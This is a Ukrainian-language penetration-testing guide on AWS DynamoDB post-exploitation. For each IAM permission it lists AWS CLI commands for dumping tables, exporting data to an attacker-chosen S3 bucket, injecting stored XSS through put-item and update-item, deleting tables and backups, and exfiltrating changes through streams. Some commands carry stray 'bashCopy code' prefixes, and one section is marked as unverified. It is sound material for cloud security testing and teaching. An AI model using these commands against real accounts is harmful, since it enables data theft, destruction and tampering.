# AWS - DynamoDB Post Exploitation {{#include ../../../banners/hacktricks-training.md}} ## DynamoDB Для отримання додаткової інформації перегляньте: {{#ref}} ../aws-services/aws-dynamodb-enum.md {{#endref}} ### `dynamodb:BatchGetItem` Зловмисник з цими правами зможе **отримувати елементи з таблиць за первинним ключем** (ви не можете просто запитати всі дані таблиці). Це означає, що вам потрібно знати первинні ключі (ви можете отримати це, отримавши метадані таблиці (`describe-table`). {{#tabs }} {{#tab name="json file" }} ```bash aws dynamodb batch-get-item --request-items file:///tmp/a.json // With a.json { "ProductCatalog" : { // This is the table name "Keys": [ { "Id" : { // Primary keys name "N": "205" // Value to search for, you could put here entries from 1 to 1000 to dump all those } } ] } } ``` {{#endtab }} {{#tab name="inline" }} ```bash aws dynamodb batch-get-item \ --request-items '{"TargetTable": {"Keys": [{"Id": {"S": "item1"}}, {"Id": {"S": "item2"}}]}}' \ --region ``` {{#endtab }} {{#endtabs }} **Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці ### `dynamodb:GetItem` **Схоже на попередні дозволи** цей дозволяє потенційному атакуючому читати значення лише з 1 таблиці, якщо відомий первинний ключ запису для отримання: ```json aws dynamodb get-item --table-name ProductCatalog --key file:///tmp/a.json // With a.json { "Id" : { "N": "205" } } ``` З цими дозволами також можливо використовувати метод **`transact-get-items`** так: ```json aws dynamodb transact-get-items \ --transact-items file:///tmp/a.json // With a.json [ { "Get": { "Key": { "Id": {"N": "205"} }, "TableName": "ProductCatalog" } } ] ``` **Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці ### `dynamodb:Query` **Схоже на попередні дозволи** цей дозволяє потенційному атакуючому читати значення лише з 1 таблиці, якщо відомий первинний ключ запису, який потрібно отримати. Дозволяє використовувати [підмножину порівнянь](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Condition.html), але єдине порівняння, яке дозволено з первинним ключем (який повинен з'являтися), це "EQ", тому ви не можете використовувати порівняння, щоб отримати всю БД в одному запиті. {{#tabs }} {{#tab name="json file" }} ```bash aws dynamodb query --table-name ProductCatalog --key-conditions file:///tmp/a.json // With a.json { "Id" : { "ComparisonOperator":"EQ", "AttributeValueList": [ {"N": "205"} ] } } ``` {{#endtab }} {{#tab name="inline" }} ```bash aws dynamodb query \ --table-name TargetTable \ --key-condition-expression "AttributeName = :value" \ --expression-attribute-values '{":value":{"S":"TargetValue"}}' \ --region ``` {{#endtab }} {{#endtabs }} **Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці ### `dynamodb:Scan` Ви можете використовувати цей дозвіл, щоб **легко вивантажити всю таблицю**. ```bash aws dynamodb scan --table-name #Get data inside the table ``` **Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці ### `dynamodb:PartiQLSelect` Ви можете використовувати цей дозвіл, щоб **легко вивантажити всю таблицю**. ```bash aws dynamodb execute-statement \ --statement "SELECT * FROM ProductCatalog" ``` Ця дозволяє виконувати `batch-execute-statement`, наприклад: ```bash aws dynamodb batch-execute-statement \ --statements '[{"Statement": "SELECT * FROM ProductCatalog WHERE Id = 204"}]' ``` але вам потрібно вказати первинний ключ з значенням, тому це не так корисно. **Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці ### `dynamodb:ExportTableToPointInTime|(dynamodb:UpdateContinuousBackups)` Ця дозволена дія дозволить зловмиснику **експортувати всю таблицю в S3 бакет** на його вибір: ```bash aws dynamodb export-table-to-point-in-time \ --table-arn arn:aws:dynamodb:::table/TargetTable \ --s3-bucket \ --s3-prefix \ --export-time \ --region ``` Зверніть увагу, що для цього таблиця повинна мати увімкнене відновлення на момент часу, ви можете перевірити, чи має таблиця цю функцію за допомогою: ```bash aws dynamodb describe-continuous-backups \ --table-name ``` Якщо це не увімкнено, вам потрібно **увімкнути це**, і для цього вам потрібен дозвіл **`dynamodb:ExportTableToPointInTime`**: ```bash aws dynamodb update-continuous-backups \ --table-name \ --point-in-time-recovery-specification PointInTimeRecoveryEnabled=true ``` **Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в таблиці ### `dynamodb:CreateTable`, `dynamodb:RestoreTableFromBackup`, (`dynamodb:CreateBackup)` З цими дозволами зловмисник зможе **створити нову таблицю з резервної копії** (або навіть створити резервну копію, щоб потім відновити її в іншій таблиці). Потім, з необхідними дозволами, він зможе перевірити **інформацію** з резервних копій, яка **може більше не бути в продуктивній** таблиці. ```bash aws dynamodb restore-table-from-backup \ --backup-arn \ --target-table-name \ --region ``` **Потенційний вплив:** Непряме підвищення привілеїв шляхом знаходження чутливої інформації в резервній копії таблиці ### `dynamodb:PutItem` Цей дозвіл дозволяє користувачам додавати **новий елемент до таблиці або замінювати існуючий елемент** новим елементом. Якщо елемент з таким же первинним ключем вже існує, **весь елемент буде замінено** новим елементом. Якщо первинний ключ не існує, буде **створено** новий елемент з вказаним первинним ключем. {{#tabs }} {{#tab name="XSS Example" }} ```bash ## Create new item with XSS payload aws dynamodb put-item --table --item file://add.json ### With add.json: { "Id": { "S": "1000" }, "Name": { "S": "Marc" }, "Description": { "S": "" } } ``` {{#endtab }} {{#tab name="AI Example" }} ```bash aws dynamodb put-item \ --table-name ExampleTable \ --item '{"Id": {"S": "1"}, "Attribute1": {"S": "Value1"}, "Attribute2": {"S": "Value2"}}' \ --region ``` {{#endtab }} {{#endtabs }} **Потенційний вплив:** Експлуатація подальших вразливостей/обхідних шляхів шляхом можливості додавати/модифікувати дані в таблиці DynamoDB ### `dynamodb:UpdateItem` Цей дозвіл дозволяє користувачам **модифікувати існуючі атрибути елемента або додавати нові атрибути до елемента**. Він **не замінює** весь елемент; він лише оновлює вказані атрибути. Якщо первинний ключ не існує в таблиці, операція **створить новий елемент** з вказаним первинним ключем і встановить атрибути, вказані в виразі оновлення. {{#tabs }} {{#tab name="XSS Example" }} ```bash ## Update item with XSS payload aws dynamodb update-item --table \ --key file://key.json --update-expression "SET Description = :value" \ --expression-attribute-values file://val.json ### With key.json: { "Id": { "S": "1000" } } ### and val.json { ":value": { "S": "" } } ``` {{#endtab }} {{#tab name="AI Example" }} ```bash aws dynamodb update-item \ --table-name ExampleTable \ --key '{"Id": {"S": "1"}}' \ --update-expression "SET Attribute1 = :val1, Attribute2 = :val2" \ --expression-attribute-values '{":val1": {"S": "NewValue1"}, ":val2": {"S": "NewValue2"}}' \ --region ``` {{#endtab }} {{#endtabs }} **Потенційний вплив:** Експлуатація подальших вразливостей/обхідних шляхів шляхом можливості додавати/модифікувати дані в таблиці DynamoDB ### `dynamodb:DeleteTable` Зловмисник з цим дозволом може **видалити таблицю DynamoDB, що призведе до втрати даних**. ```bash aws dynamodb delete-table \ --table-name TargetTable \ --region ``` **Потенційний вплив**: Втрата даних та порушення роботи сервісів, що залежать від видаленої таблиці. ### `dynamodb:DeleteBackup` Зловмисник з цим дозволом може **видалити резервну копію DynamoDB, що потенційно призведе до втрати даних у разі сценарію відновлення після катастрофи**. ```bash aws dynamodb delete-backup \ --backup-arn arn:aws:dynamodb:::table/TargetTable/backup/BACKUP_ID \ --region ``` **Потенційний вплив**: Втрата даних та неможливість відновлення з резервної копії під час сценарію відновлення після катастрофи. ### `dynamodb:StreamSpecification`, `dynamodb:UpdateTable`, `dynamodb:DescribeStream`, `dynamodb:GetShardIterator`, `dynamodb:GetRecords` > [!NOTE] > TODO: Перевірити, чи це дійсно працює Зловмисник з цими дозволами може **увімкнути потік на таблиці DynamoDB, оновити таблицю для початку потокового зміни даних, а потім отримати доступ до потоку для моніторингу змін у таблиці в реальному часі**. Це дозволяє зловмиснику моніторити та ексфільтрувати зміни даних, що потенційно призводить до витоку даних. 1. Увімкніть потік на таблиці DynamoDB: ```bash bashCopy codeaws dynamodb update-table \ --table-name TargetTable \ --stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES \ --region ``` 2. Опишіть потік для отримання ARN та інших деталей: ```bash bashCopy codeaws dynamodb describe-stream \ --table-name TargetTable \ --region ``` 3. Отримайте ітератор шард за допомогою ARN потоку: ```bash bashCopy codeaws dynamodbstreams get-shard-iterator \ --stream-arn \ --shard-id \ --shard-iterator-type LATEST \ --region ``` 4. Використовуйте ітератор шард для доступу та ексфільтрації даних з потоку: ```bash bashCopy codeaws dynamodbstreams get-records \ --shard-iterator \ --region ``` **Потенційний вплив**: Моніторинг в реальному часі та витік даних про зміни таблиці DynamoDB. {{#include ../../../banners/hacktricks-training.md}}